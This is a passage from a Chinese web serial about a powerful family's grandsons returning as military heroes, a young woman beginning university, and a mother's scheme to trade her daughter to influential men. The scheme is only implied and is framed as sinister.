可是她还是救了绥尔、枝枝、澜兰、苏妙、周绮姗,还是选择了沈家,还是为他而来。 于他这样的年纪,其实早已看破天命,多活一天少活一天都已经不计较了。 但既然他知道了真相,就绝不允许为他而来的孩子这一世再颠沛流离。 * “疯子!那死丫头绝对是个疯子!” 方眉穿着杏色睡袍在客厅大发酒疯,客厅里七零八落到处都是饰品的残骸。 姜晚意站在角落,默不作声看着眼前这一切。 两年前不知什么原因,方眉突然执意要离开鲸港。她们在淮城过了半年,那段时间方眉就是这样,整日酗酒发疯。 后来有一天,她突然开始描眉化妆,没多久就勾搭上了关山。 在关山面前,方眉风情万种温柔似水,想来是性格压抑的太久,现在又爆发了。 “那死丫头!她把关家少爷撞飞不是等于把我们往死路上逼吗?关家一定不放过我们的!” 方眉撕扯着头皮,像只无头苍蝇四处乱撞,“不行,必须要想办法,不然成了废棋这辈子就完了。” 姜晚意皱了皱眉,不动声色审视方眉。 忽然,方眉想到到什么,眼底焕发出前所未有的神采。 她转头看向姜晚意,目光对视的刹那,姜晚意心头一颤,只觉一股寒意从脚底窜到了脑心。 方眉笑了笑,朝她招手,“意意,你过来。” 姜晚意犹豫片刻,往前走了一步。 方眉笑容愈发温柔,“过来。” 姜晚意慢慢走上前,“妈。” 方眉一手捏住她的下巴,像打量货物一样来回审视,“意意,你长大了,也是时候替妈妈分忧了。” …… 第457章 如何自救? 沈娇思来想去总觉得哪里不对。 为免姜花衫被不着调的兔崽子骗走,第二天大清早就去了菊园。 姜花衫难得起的早,在院子里逗弄小可怜,冷不丁看见沈娇还有些吃惊。 “您怎么来了?” 院里的四个阿姨听见声音赶忙出来招待,搬的搬椅子,倒的倒水,十分周到。 “别不是又带了什么礼物吧?”姜花衫笑呵呵扶着轮椅坐下。 沈娇不语,只一个劲儿盯着她打量。 难怪那些癞蛤蟆盯的紧,连她这见过大风大浪的火眼金睛都不得不承认,眼前的女孩儿是真的漂亮,她的漂亮是一眼夺目的璀璨,强势到与她并肩之人很容易自动退化成背景板。 姜花衫称怪,不解回看自己,“怎么了?” 沈娇,“昨天姚礼来了,也是来提亲的。” “提亲?”姜花衫皱了皱眉,这么小众的词怎么一天碰见两回?她忽然一愣,嘴角抽了抽,“不会……” 沈娇点头,“没错,姚家也相中了你?” “……”姜花衫一脸晦气。 关鹤想把她骗进关家杀她还稍稍能理解,那姚淄磊图什么? 这两年她除了顺手教训过他之外根本没有过交集,姚家这个时候来凑什么热闹? 这也太巧就了,她刚破坏了方眉的订婚宴,就接二连三有人上门提亲,难不成又是剧目在搞鬼? 姜花衫眼眸微动,“爷爷怎么说?” 沈娇,“老爷子自然是不同意,别说老爷子,我也不同意。我今天来就是提醒你的,以后离关家和姚家那两个小子远点,免得闹出什么误会被人抓住了把柄。” 姜花衫点头,“我知道了。” 沈娇沉默片刻,又再次开口,“还有一件事,是……关于你母亲的。” 提起方眉,沈娇的脸色有些复杂,“绥尔已经把酒店的事告诉我了,衫衫你受委屈了。” 姜花衫笑了笑,并不在意,“您放心吧,那些话还伤不到我。” 沈娇摇头,替她抚弄额前的刘海,认真道,“即便你坚强,也不是她可以随意伤害你的理由,这件事我会处理。” * 鲸港某半山别墅。 前坪停摆了各式各样的豪车,所有进出口都有西装保镖把守,大白天的泳池派对里到处都是四肢贴合的男男女女。 姜晚意路过游泳池时被里面淫靡的景象吓的有些不知所措。 “妈?” 方眉皱眉,“行了,你在这等我,别乱走。”说着转身进了大厅。 室内十米开间的主厅里,衣香鬓影,男人们西装革履,女人们风情万种,在音乐的催情下,香水和酒精混在一起激发出了最原始的欲望。 方眉习以为常,挑眼在厅内逡巡了一圈,朝坐在沙发上与男人调笑的女人招了招手。 女人已经年逾三十五,但胜在风韵犹存,理了理凌乱的衣带,扭着水蛇腰走到了过来。 “你还有脸来,你不知道吗?昨天关议员在我这挑了两个更年轻的女孩儿回去。” 方眉脸上挂着虚笑,“出了点意外。” 女人冷哼,“没这瓷器活儿就别揽这金刚钻,当初我可就告诉过你,关议员家里的公子小姐不好摆平,你那会是怎么说的?早知道你这么没本事,我也就懒得费心给你张罗了。” 方眉收敛了笑意,从包里拿出一沓厚厚的信封,“阿萝,你就再帮我一次,眼下我好不容易回来鲸港,要再被赶出去,我可就什么都没有了。” 温萝神色淡淡,“不是我不帮你,上流圈就那么大,你和关议员长的事都传遍了,你说谁还敢要你?” 方眉挑开黑色的丝绒窗帘,指着门厅前的女孩儿,“不是我,是她。” 温萝微微眯眼,仔细打量了一圈语气依旧不咸不淡,“不是说不卖女儿吗?” “这权势压我一头哪容得下我愿不愿意?你替我物色个适合的,事成之后我必有重谢。” 说罢,方眉又从包里拿出一沓更厚的信封,“这些就算我的诚意了。” 温萝撩开垂帘,再次看向窗外,眼底淡漠,“你可想清楚了,男人都是贱骨头,喜欢骚的,又要娶贞洁的,她若是走了这条路,以后就很难有回头路了。” 方眉笑着将两沓信封塞进温萝的手里,“她若不走,连路都没有了。” * 回去的路上,姜晚意一直惴惴不安,母亲为什么要把她带去那里? 她不敢问,因为怕激怒方眉,从她们失去优越的经济条件后,方眉的情绪就变得阴晴不定。 回到家里,姜晚意的情绪仍旧飘忽不定,方眉看出了她的异样,轻轻抚摸她的脸颊,言词温柔,“意意,你是妈妈的孩子,妈妈爱你,你只要相信妈妈就够了。” 姜晚意回到房间时手还在抖,不知道为什么,方眉的温柔忽然让她感到害怕。直觉告诉她,她必须要做些什么? 忽然,她想到什么,手忙脚乱拿出手机登录了那个尘封很久的通讯账号。 离开沈家后,她自觉没脸面对从前的朋友,所以单方面掐断了与所有人的联系。 找到了! 姜晚意眼睛一亮,但很快又陷入了沉思。 -【蠢货】 这是她给姜花衫的备注。 说不上什么滋味,姜晚意点开两人的聊天界面,最后一次记录还停留在五年前。 -【意意,今晚放学你能等我一起回家吗?】 -【对不起啊姐姐,我已经跟朋友们约好了,下次吧。】 那次,其实她根本没有和朋友约好,只是听说姜花衫在学校得罪了傅潇潇,她不想被连累而已。 -【姐姐,傅绥尔在学校欺负我,呜呜呜,她还说我是癞皮狗,我的朋友都听见了,她们都不理我了。】 -【别怕。】 后来,姜花衫去找傅绥尔理论,因为傅绥尔骂的难听,她一时失控推了傅绥尔一把。 “……” 姜晚意眼里的光瞬间寂灭,退出聊天记录,打开AI搜索。 —未成年人该如何自救? …… 第458章 各奔东西 九月伊始,蝉声清退。 姜花衫靠在窗台浇灌墙角的月季,漫不经心的眺望对面的院子,马上要开学了,三傻差不多也要回来了吧? “衫衫!!!” 正想着,傅绥尔和沈眠枝从院外朝她招手,“不好了!出事了!” 姜花衫皱眉,从窗外探着身子,“出什么事了?” 沈眠枝一把拽住傅绥尔,“进去说。” 屋里阿姨们正热火朝天收拾行李,她回过身,摆摆手,“你们都出去吧。” 四个阿姨立马起身,“小姐,您有事再叫我们。” 不等姜花衫应口,傅绥尔风风火火跑了进来,“衫衫,这次是真出大事了。” 阿姨们错身出门,沈眠枝扫了一眼,状似随手掩好门。 姜花衫跳下窗台,“怎么了?你倒是说啊?” “兰晞哥和阿灵哥出事了!” 姜花衫微微皱眉,“他们两个能出什么事?” 沈眠枝,“313师刚刚传来的消息,部队穿越边防线时与一群地方军火商发生冲突,兰晞哥收到求救信号前去支援,到现在还没回来。” “怎么会这样?” 像沈兰晞只是入313师学习,并非正式入伍,按理这种危险的任务是不可能让他参加的。 沈眠枝摇头,神情担忧,“乌拉那边现在乱的很,根本没有秩序可言,他们因为A国不愿意接纳当地难民我们很有敌意,不知道兰晞哥会不会有危险?” 姜花衫沉默片刻,“那沈归灵呢?” 傅绥尔,“昨夜凌晨两点,海域塔台截获了一封求救电报,内海有一艘渡轮被海匪劫持,南湾舰队派兵营救,但营救中途遇上了极为罕见的暴风雨,阿灵哥失踪了。” “失散?”姜花衫一脸不解,“他不是在军舰上吗?怎么会失踪?” 傅绥尔摇头,“具体情况我也不知很清楚,现在二房和我妈们都在沁园,爷爷都急疯了。” 如果沈归灵和沈兰晞同时出事,这对沈家的打击将是致命的,也难怪爷爷会如此。 姜花衫回头看了看对面空落落的院子,抿嘴笑了笑,“别着急,说不定再过几天就会有好消息了。” 这两个可是《纵横豪情》的男主,没有那么剧情还怎么走? 沈眠枝和傅绥尔对姜花衫有一种莫名的认同感,原本还提心吊胆,但看姜花衫跟没事一样不觉也轻松了不少。 下午,盘旋在沈园头顶的乌云越来越重。 313师传来消息,发现了三名同行士官的遗体,三人死前均受到了非人般的折磨。 而直到海上风暴停息,南湾舰队也没有给出一个合理的解释,又因为被劫持的渡船正好处于A国和S国交界线,现已引起了两国媒体高度的关注。 未免悲剧再次上演,沈庄当机立断,下令让沈谦去南湾给军区施压,务必找到沈归灵,自己则和沈执前往313师总部,军队出行过于受限,在三不管地带,暗堂势力会比313师好使。 姜花衫知道劝不住沈庄,偷偷去见了郑松,嘱咐他务必寸步不离守着老爷子。 郑松不知道这位姜小姐操的什么空心,敢怒不敢言勉强接受了她的唠叨。 沈庄离开的第二天,傅绥尔和沈眠枝也开始了新的身份,虽然军政学府和财经大学都在鲸港市,但因为新生入学的活动比较多,两人为了适应大学生活忙的不可开交。 所有人的脚步都在向前,她也不能落后。 终于,姜花衫在能完全自如活动后,带上小可怜,带着轮椅,带着整整四大箱行李箱和四个阿姨登上了她的求学之旅。 沈娇不放心她一个人,全程陪同办理入学手续,在看过学校‘艰苦’的住宿条件后,态度僵硬拒绝了姜花衫的住校申请。 沈庄虽然人在313师,但心里还是挂念着家里的孩子,听说沈娇陪同一起来了南湾,立马打电话过来事无巨细又交代了一遍,沈娇挂了电话,一脸无奈,“你听见了?老爷子说女孩子一个住不安全,一定要你去海釜天府,说是等阿灵回来也能有照应。” 姜花衫扶额,突然反应过来,“沈归灵有消息了?” 沈娇摇头,“暂时没有,不过听老爷子的口气,似乎没那么紧张了。” 即便沈庄发话,沈娇还是不放心,打点好学校又跟着姜花衫去了住的地方。 海釜天府对标的是南湾市高层人才,小区安防和设施都没得话说,沈娇在小区转了一圈才进的屋。 大厅里的基本没什么个人用品,厨房灶台也是一尘不染,沈娇带着挑衅的眼光挨个查看房间,愣是没找到什么能挑毛病的地方。 时过境迁再次重游故地,姜花衫心中五味杂陈,窗外的海港码头的天水一线好像永远不曾变化过,但那年一起围桌吃火锅的少年们都已经各奔东西。 “衫衫。” 沈娇走近大厅见她看着窗外愣神,不由好奇跟着打量,“你怎么了?” 姜花衫摇头,抬眼往屋里转了一圈,“怎么样?女王满意否?” 沈娇转身入座,“两年前你来南湾闲玩就是住的这里?我看屋里备着的四季被褥与绣园的一模一样。” 姜花衫愣了愣,四季?她那会不过住了几天。 沈娇四处环顾,“阿灵是不是很少住这?我看他的房间里都没有生活用品,连换洗的衣服也只有一套。” 若是沈归灵长期住这她还多少有些顾虑,虽说她对这两个孩子都是绝对信任,毕竟孤男寡女能避让的还是得避。 这几年沈归灵不是在学校就是在外执行任务,南湾都没来过几回,姜花衫思索片刻点了点头,“好像是。” “行!我安排一下。”沈娇这才一锤定音,从包里拿出手机,“你一个人我不放心,院子里四个阿姨,你挑一个过来照顾你的起居。” 姜花衫。“我都可以,你做主吧。” “行,那就巩阿姨吧。还有,对面那个房子我买下来了,到时候会有专业的保镖过来接管,你还是像平时出行就可以了,不用拘束。”忽然想到什么,沈娇忽然严肃起来,“记住,南湾距离鲸港车程就两个小时,平时没课,放假就回来,可不许学那些小破孩天天去外面野,要被我抓到你就死定了,知道了吗?” 姜花衫单手托腮,笑着应道,“知道了。你什么时候买的房子,这么凑巧?” 沈娇晃了晃手机,“刚刚,还有什么需要添置的吗?” 姜花衫灵机一动,一把拉住沈娇的手,“别的没有的,就要那台轮椅。” 沈娇,“……” …… 第459章 无风不起浪 九月中旬,夏日的热潮并未退温,南湾海岸依旧挤满了人潮。 姜花衫坐在落地窗前,举着画笔丈量窗外的风景。 巩阿姨端着牛奶上前,抬眼看见画布上的油画时不觉愣了愣。 窗外的港口风和日丽,拥挤的人潮和来往的船只谱写着盛世下的喧闹,但姜花衫画作上的港口,黑云凌空,巨浪掀翻了船只,渡口的观望者看不见海水已经漫延到了脚下,还在放肆欢呼。 整个画面用了极重的黑灰色调,给人极重的毁灭欲望。 姜花衫见巩阿姨看的认真,笑着接过牛奶,“觉得我画的怎么样?” 巩阿姨不好意思笑了笑,“姜小姐,我不懂艺术,看不懂。” 姜花衫摇头,“什么艺术?绘画本身的价值就是给人的感官体验,你就说说你自己的感觉。” 巩阿姨有些为难,“我感觉不出来。” 姜花衫挑了挑眉,低头喝牛奶,刚喝一口抬头问道,“阿姨,牛奶里面下毒了吗?” 巩阿姨脸色惊变,“小姐……我……” 没等她解释清楚,姜花衫扬唇一笑,“我开玩笑的,你去忙吧。” 巩阿姨顿时长舒了一口气,“那……小姐,我去做饭了。” “嗯。” 巩阿姨心有戚戚走向厨房,忽然想到什么又回头看向窗台,女孩捧着牛奶杯吨吨喝了半杯,沐浴在阳光下半张脸微微发着光。片刻后,她转身回到厨房,拿出藏在围裙的手机…… 另一边,姜花衫放下牛奶杯,提起画布蘸取了一点明黄和橘色,将月亮画进了波涛汹涌的海浪中。 只寥寥几笔,温柔的月光便锁住如癫狂野兽的深海,这份禁锢让整个画作有了明媚与阴暗的分裂感。 她下笔有神,几乎没有停顿,目光时不时扫过在码头上游荡的人们。 * 相较于姜花衫的安逸,鲸港的局势可就没有这么轻松了。 这几天,因为南湾海域渡船劫持事件一再发酵,全国各地的新闻媒体都跑来了南湾,就在所有权谋者都把注意力集中在南湾时,A国边境突然爆发武装冲突。 也不知道是从哪走漏的风声,有消息指出沈家小太子赴313师学习期间被乌拉当地武装部队绞杀,沈家老爷子一怒之下,亲上边境挑起了两军交火。 当然,这种未经证实。会引发社会动荡的消息只会在高层圈流传,决策者们为了证实消息的真实性,亲自登门沈园拜访,但收到的消息却是沈老爷子近来身体抱恙,不便见客。 沈家避之不及俺的态度引起了不少人的怀疑,上门打探消息的也越来越多,沈家人最后索性闭门谢客。 苏家。 恰逢苏母生辰,一家人难得整整齐齐在家吃饭。 午饭过后,苏母又准备了下午茶,寻常这个时候,苏敬琉和苏莘早就各自忙碌去了,今天却破天荒坐在洋楼花样一起闲聊。 苏妙从搬出去后难得回来一趟,苏母趁机又开始鼓动,“妙妙啊,外面住着哪有家里舒心,实在不行你还是搬回来吧?” 今天是苏母的生日,苏妙不想破坏气氛,便笑着看了苏灼一眼。 苏灼会意,主动递上一杯红茶,帮着苏妙打圆场,“妈,政府的助学住房可不是谁想申请就申请的,住那的学生哪个不是品学兼优,妙妙在那学习氛围好离学校也近会方便许多。” 苏母瞪了苏灼一眼,没好气,“你不会说话就别说话。” 苏灼不免好笑,他当然看出母亲是想留住苏妙,一开始他也想过弥补,可是当他看见苏妙那么努力挣脱苏家的羽翼时,他钦佩苏妙勇敢,亲人之间既然不受血缘羁绊,那么几十公里的距离又算什么? 比起什么这些,他更希望苏妙能生活的自在。 苏韵不着痕迹看了苏灼一眼,捧过面前的红茶低头抿了一口。 苏敬琉摆摆手,“阿灼说的对,孩子大了,都有自己的想法由着她吧,又不是不回来。” 之前苏妙说要跟着公仪蕙走政法这条路时,苏敬琉一开始是反对的。政法这条路女孩子本就难走,她还要跟着公仪蕙!公仪蕙是什么人?砥砺前行的孤勇者,这辈子得罪了多少人,她之所以还好好活着也是多亏了有沈家。 谁料,苏妙却突然生出的反骨,为了这条路竟不惜出走苏家,这是苏敬琉这才意识到,那朵被他养在温室的小花儿已经生出了脊梁,若强行困住她,花瓣总有一天会枯萎,与其如此,不如放她去外面自由生长,看感受更辽阔的世界。 而苏妙并不知道,她能申请到助学住房也是因为苏敬琉偷偷放水,不然以她这优渥的资源背景根本拿不到补助名额。 苏母仍有些不甘心,抬眸给苏莘使了个眼色。 苏莘拽着明白装糊涂,故作没看见,笑着岔开话题,“妙妙,开学忙不忙啊?沈家那丫头是不是去南湾上大学去了?” 苏妙不咸不淡瞥了苏莘一眼,“爸,您什么时候这么关心衫衫了?” 苏莘看了苏敬琉一眼,“瞧你说的,你的朋友爸爸关心关心怎么了?你们几个就她一个人去了南湾上大学吧?沈家老爷子也放心?” 苏妙油盐不进,“不知道,从外面传出沈家谣言开始我们就没联系了,我们说好了,未免彼此尴尬,这段时间先绝交,等风头过了再联系。” 苏莘皱眉,“你们这友谊这么随便的吗?” 苏妙,“是啊,防的就是爸爸你这种偷偷打探消息的。” 苏灼不由好笑,又怕苏妙说的这么直白惹怒了父亲,赶紧起身给苏莘倒茶,“爸,喝茶。” 这么多年,苏莘早就习惯了苏妙的脾气,尴尬看了苏敬琉一眼,苏敬琉没好气,“你看我做什么?你女儿说的对,要打探消息去外面打探去,走后门也不怕人家笑话。” 说着,拿了个茶果递给苏灼,“沈归灵和沈兰晞还没有回学校报到吗?” 苏灼双手接过茶果,摇了摇头。 正是因为沈归灵和沈兰晞开学半个月都没有到校报到,外面的谣言才铺天盖地。 苏敬琉起身,“行了,今天是你们母亲的生日,你们几个多陪陪她。” 苏莘跟着起身,小心搀扶着苏老爷子,下了洋楼,苏莘神色多了几分凝重,“爸,只怕沈老爷子如今是真不在鲸港。” 苏敬琉抬头看了看天,神情淡然,“无风不起浪,再看看。” …… 第460章 还予神迹 鲸和医院。 “哈哈哈哈哈!!!” 关鹤猖狂的笑声在一层楼间动荡。 “半个月了那两傻逼还没去学校报到?哈哈哈哈!不会是真的死了吧?” 关鹤撑着拐杖,顾不得腿上还打着石膏,蹦蹦跳跳窜上沙发,“阿珩,你就不高兴不兴奋吗?沈兰晞和沈归灵死了,以后这鲸港还有谁敢跟我们作对?” 周宴珩神情淡淡,“你从哪看出他们死了?” 关鹤,“乌拉在边境闹腾了这么多年,什么时候真正交过火?没有什么特殊事件谁敢开火?要是沈兰晞死了也就过的过去了。” 乔金锦,“得了吧,沈兰晞死的概率比你喜欢男人还低,你脑震荡还没好?” “……”关鹤顿时黑脸,脑震荡这个梗是过不去了是吧,他转头看向周宴珩,“你说,我说的有没有道理?” 周宴珩一直低着头在刷新南湾的消息。 今天他出门的时候,家里已经送走了三四波客人,其中包括总统余斯文和军区上将司令,这些人物同时登门拜访,边境一定发生了什么不得了的大事。 “阿珩,你怎么不说话?” 周宴珩指尖一顿,抬起眼梢,“最好是死了,不然全鲸港的权谋者只怕都睡不着了。” * 七天后。 A国全面开启解放乌拉武装争取第一战。 起因是313师公布了一段乌拉国王的自述,长达三分钟的视频,面目全非的乌拉国王控诉着当地武装政府的霸行,他们软禁国王,利用国王控制民众,为了得到国际物资故意制造空袭灾难。 两年前,A国本着人道主义关怀派遣百名医护人员奔赴乌拉支援受灾民众,但武装政府为了掩盖事实故意制造二次空难,A国支援人员再也没有回来。 A国民众听闻内幕愤怒不已,政府顺从命意,撕毁百年前签订的和平条约,直接派部队镇压。 乌拉国王为报答A国政府的此次恩情,又因本国无力承担灾后重建工作,直接将本地能源的开采权卖给了A国,并同意了A国的驻军百年计划。原本乌拉就是A国的身后跳板,驻兵计划一出,A国将兵线推进2000多公里,国防屏障更加牢不可破。 国际媒体真相报道,当A国的国旗和军旗飘扬在乌拉上空时,百名医护人员和三名士官皆被追封为烈士,另外镜头前还有一位英俊的年轻男人格外吸引眼球。 他站在军旗下,身授军制彩旗,乌拉国王亲自授予人民英雄徽章,这也是乌拉立国五十年来第一次授予一个外国人如此殊荣。 就在当权者们把所有目光投注在乌拉英雄上时,南湾爆了! 劫匪在与A国政府多次协商无果的情况下,直接引爆渡轮,造成历史罕见的人祸。 歹徒的凶狠和残暴引起了全球范围的声讨,S国海舰迅速调遣内海海军力量前来支援,依照专家计算,如此引爆速度,渡轮将在六个小时之内完全沉没海底,船上一万名乘客将面临生命危险。 无数台无人机在空中游巡,实况转播现场撤离情况。 全A国民众心悬一线,默默为游轮的无辜同胞祈福。 很快,海上进入了黑夜,营救难度大大增加。 就在人们陷入绝望时,专家又发来了新的换算时间,沉船速度急速锐减,照这么下去他们还有六个小时的营救时间。 这一刻,人们仿佛看见了新的曙光,就算不信神的人也忍不住感叹,上帝保佑。 第461章 一门双将星 九月的最后一天,沈家一门双将星直接引爆了鲸港。 金枪家族再次被民众提起,这次却隐隐有了青出于蓝而胜于蓝的趋势。 结束了313师的旅程,沈庄和沈兰晞也踏上了回程之旅。 车里。 沈庄眉心突突,“你说什么?你说阿灵赤身肉搏干掉了七个海寇,还把驾驶舱的炸弹给拆了?” “……”沈兰晞低头摸了摸胳膊上的绑带。 沈庄压着怒火,“你问他想干什么?南湾海舰缺他一个挡门的?还是嫌自己命太长了?” 沈谦闭眼,把电话拿远打开扩音,“问过了,他说当时没想那么多。” “一个个的都不省心,先把人带我回来。” “嘟——” 下一秒,电话果断挂断。 沈谦放下手机,习以为常看向一旁的沈归灵,“听见了?” 沈归灵点头,“爷爷什么时候回鲸港?” 沈谦捏了捏眉心,“左右不过半天的时间,你也准备一下,这次回港会有很多记者,不要被人抓住把柄。” “先生。”莫然敲门走了进来,“穆上将到了。” 不等沈谦发话,沈归灵率先起身,“爸,我先回避一下。” 这次南湾营救行动,沈归灵之所以突然失踪,是因为隶属舰队中将给了他一个秘密任务,要求沈归灵趁暴雨侵袭偷偷潜入游轮做内应。 按理说,沈归灵作为刚刚入营的新兵,这么艰巨的任务怎么都不可能轮到他。 沈谦身为利场里的资深弄权者,怎么会不知道这其中的名堂? 这个节骨眼请穆上将来便是打算秋后算账。 与穆上将同行的还有这次下达的任务的始作俑者,贺闵见沈归灵从首长办公室出来,脸色极度难看,他怎么都没想到,自己不过是按军营规矩磋磨新人,没想到这次竟然踢到了铁板。 这个新兵蛋子竟然是鲸港沈家的少爷。 贺闵知道情况后也是叫苦不迭,不是!你有这么牛的背景早说了,还忍气吞声被他折磨了一个月,沈家人脾气都这么好的吗? “阿灵,干的不错。” 穆上将从两年前的对换人质案就对沈归灵青睐有加,这次之后更加满意的没话说。 “谢谢长官。” 沈归灵礼貌颔首,打过招呼不卑不亢往楼道走去。 贺闵几度想开口,但碍于身份又张不开嘴。 此时莫然走了出来,“穆上将,里面请。” 贺闵一愣,“我……” 没等他开口,穆上将淡淡扫了一眼,跟着莫然进了会议室。房门关上的瞬间,贺闵忽然惊吓出了一身冷汗,眼前这可不是一扇简简单单的房门,是他未来仕途的通天梯。 沈家的态度已经很明显了,贺闵再顾不上什么体面,神情急迫追赶沈归灵。 “沈归灵。” 沈归灵走下最后一阶台阶,听见身后有人叫自己,立马停下脚步在原地等待。 “长官,有事?” 贺闵脸色有些窘迫,但见沈归灵眼眸温和没有一丝不悦,不觉安心了不少,他已经在背地里打听过了,沈家就说这位少爷性子最好,应该好说话。 念此,他心里有了底,“这次任务你完成的很好,我会向上级如实汇报,为你申请表彰的。” 沈归灵笑了笑,“多谢长官。” 贺闵脸色微顿,轻咳了一声故作腔调,“这次你也算因祸得福,成了南湾英雄,以前的事都是误会,你应该不会放在心上吧?” 沈归灵,“不会,希望长官也不要放在心上。” 贺闵愣怔,一时没反应过来,“什么……什么意思?” 沈归灵,“我看长官这么喜欢锻炼新兵,为了不打扰长官的兴致只能配合长官,但军处的长官们好像对长官这种关爱下属的行为不怎么认可,材料我已经交上去了,接下来长官可能会有点麻烦。” 贺闵瞠目结舌,“沈归灵,大家都是战友,如果不是我你哪有今天的成就?没必要赶尽杀绝吧?” 沈归灵皱眉,似有些不理解,“您难道就从来没有想过为什么在你处罚我的时候我没有自报家门吗?” 贺闵脑子一懵。 是啊,但凡沈归灵在受罚期间说出自己的身份,他都不可能会这么对他,但他一次都没有,哪怕被他罚了两千个俯卧撑晕死过去都没有松过口。 为什么? 他顿时恍然大悟,捧杀,沈归灵从一开始就没打算放过自己。 贺闵只觉被人泼了一盆凉水,寒气从脚底直窜脑心。 沈归灵笑了笑,十分有礼貌点了点头,“承蒙照顾。” 贺闵咽了咽口水,一把拽住沈归灵的胳膊,全然没有了之前的架子,“沈少爷,误会!之前是我有眼不识泰山,您大人有大量,高抬贵手放我一马,我们贺家一定感激不尽。” 他打听过了,沈归灵只是沈先生的私生子,贺家在南湾还是有一定说话权的,他就不信沈归灵不心动。 沈归灵一眼看穿了贺闵的心思,略带遗憾摇了摇头,“不是我不想高抬贵手,实在是这一手棋杀鸡儆猴比较妥帖,所以,只能委屈长官了。” 字字看似怜悯却又字字诛心,贺闵莫名打了个冷颤。 * 另一边。 沈归灵上交的材料报告已经同步到了沈庄手里,老爷子戴着老花眼镜,一字一句浏览上面的点滴,片刻后眼底闪过一丝暗色。 谁不知道南湾是沈谦的地界?贺家人踩着沈归灵的头撒野这是若揭过去谁还是敬畏沈谦? 这个时候威信比仁义重要,阿灵倒是会取舍。 老爷子摘了眼镜,不咸不淡瞥了沈兰晞一眼,“一个两个都是大尾巴狼。” “……”沈兰晞眼皮跳了跳,没敢接话。 那晚他和几个战友在巡逻的时候突然收到了同伴的求救信号,来不及向上面报告便前往信号点救人,谁想竟因此陷入了敌方武装的埋伏。 原本他是有机会逃回去搬救兵的,但恰好遇见武装首领巡逻,又因为他听得懂乌拉语,无意撞破了乌拉的惊天阴谋。权衡之下,沈兰晞决定铤而走险偷偷潜伏进乌拉,替死去队友们完成上面派遣的机密任务。 于是,在潜伏的二十天里,沈兰晞联络上了乌拉的卧底,历经千辛万苦终于找到了被监禁的乌拉国王,又冒着生命危险将乌拉的真相带到了阳光之下。 这二十天里,他经历的大小恶战,每一场都几乎要了他的命,把影像带回国界那一战更是险象环生,要不是沈执带着暗堂的人及时赶到,沈兰晞就要被对方的长炮直接炸成粉碎。 老爷子看着他被担架抬回来的时候,气的浑身上下都在颤抖。 英雄哪有那么好当?他上一个英雄儿子还在土里埋着。 沈兰晞也知道自己这次行为有些冒进,所以不管沈庄说什么都受着,不敢顶嘴。 气氛有些微妙,沈兰晞难得主动开口,“爷爷,我们这是去哪啊?” 进了高架但不是去沈园的方向,他其实也不在意去哪,主要为了跟沈庄搭话。 沈庄,“去鲸和,清予今天出院。我已经跟老大说了,让他把阿灵也带过来。你和阿灵把事情闹的这么大,媒体那边一定早就在家里守着,既然已经出名了,索性就把声势再造起来,我不管你们三个怎么想,总而言之,明天的报刊头条我必须看见沈家三房兄弟和睦的消息。” “知道了。” 一直以来,沈家内部的关系都被外界所诟病,这次沈兰晞和沈归灵同时大爆,一定会有不少人猜忌是沈家大房和二房的家族内斗,只有让外界打消这种顾虑,两个小辈用命赚回的军功才能真正回归荣耀。 …… 第462章 你找死? 鲸和医院。 “清予,你准备好了没有?” 沈澈推开病房门时,沈清予一身黑色西装,正靠着窗台系领带。 “你……”沈澈皱眉,“你有必要穿的这么隆重吗?” 沈归灵和沈兰晞这次回港可谓荣归故里,老爷子故作安排沈归灵和沈清予来医院,不就就是为了给外面表演一出兄弟情深的戏码,说白了,沈清予就是另外两个的工具人,背景板。 沈清予抬着下巴调整领结位置,“老子不穿帅一点,到时候同框被比下去了不是更没脸?” “……”沈澈不懂他这莫名其妙胜负欲是哪来的,莫名有些揪心,“清予,难道你真的一点都不在乎被他们比下去吗?” 经此一事,沈归灵在南湾海域的地位算是稳住了,沈兰晞就更不用说, 乌拉的百年驻军计划派遣的正是313师团,乌拉虽然穷,但矿产资源相当丰富,沈兰晞的底牌又多了一个。 沈清予嗤笑了一声,“你只活今天吗?我只是今天被比下去,又不是以后都会被比下去,再说!比脸,我未必会输。” * 与此同时,鲸和医院外的记者把大门围堵地水泄不通,为了防止救助通道被堵,医院特别加守了保安。不少事先收风声的记者利用人脉关系直接蹲守在VIP病院楼下,等着抓捕第一手资料。 关鹤闲来无事蹲在过道公共区间看热闹,见楼下的记者越来越多,立马打给了周宴珩。 “阿珩,你什么时候过来?现在医院楼下蹲满了记者,沈家那俩……” 话还没说完,楼下的记者忽然像蚂蚁挪巢往一个方向涌动。 “快看!来了!” 人声鼎沸处,一米八保镖团围起了壮观的人墙,沈归灵和沈兰晞被拥护在人墙中央,众星拱月般走进人群。 “啊啊啊啊!” 现场女记者立马化身成死忠粉,长得帅也就算了,竟然还是人民英雄,双重bUff叠满滤镜开到最大,实在让人不得不爱。 “兰晞少爷,请问您什么信念支撑您一个人独自闯进乌拉?听说您穿越边防的时候险些丧生,最后又是怎么化险为夷的,能和我们具体说说吗?” “阿灵少爷,这已经是你第二次为了维护南湾海域豁出命了?您曾说过,第一次活下来的信念是告诉自己可以得到一个奖赏,那这次又是什么呢?” “两位少爷,国会军制新案被推翻,对此您们有什么看法呢?” “外界一直有传言,两位少爷此次行为乃家族测试,不知两位有什么说法?” 沈兰晞和沈归灵,一个全程冷漠,一个全程放空。 记者们相互看了看,赶紧暖场,“两位少爷今天一回鲸港就来接弟弟出院,看得出兄弟感情很好,两位少爷难得同框,麻烦靠近一点,我们记录一下。” 两人几乎没有交流,目不斜视径直走向住院大厅,留下一堆不明所以的记者面面相觑。 不是,收钱办事是没错,可就他们俩这态度,给再多也写不出兄友弟恭啊? * 第463章 兄友弟恭 关鹤也不是吃素的,反应过来立马发疯,龇牙咧嘴扑向沈清予。 “草!狗东西,你踏马敢打我?” 沈清予反手肘击,一拳打中关鹤的颧骨,“打了,怎么?还得挑日子?” 关鹤失了先机,又因为一只腿不方便,完全不是沈清予的对手。 但他也不示弱,嘴巴一直没闲着,“来啊!孙子!你有种打死老子,今天你要打不死你爹,看你爹明天怎么弄死你!” 沈澈眼看事情越闹越大,顾不上体面直接上手拽住沈清予,“清予,住手!再闹下去全鲸港都知道了。” “哈!” 关鹤吐了一口血水,双手返撑着地面,语气更加嚣张,“那两傻逼荣归故里你他妈只能在这干架,活该沈家你最LOW!来来来!老子让你上头条你敢打吗?没种的孬货!” 沈澈眼色微暗,冷冷扫过关鹤。 沈清予抬手甩开沈澈,弯腰揪住关鹤的衣襟,“想出院?” 关鹤眼皮跳了跳,“你想干什么?” 今天全鲸港的记者都在,他就不信沈清予敢乱来。 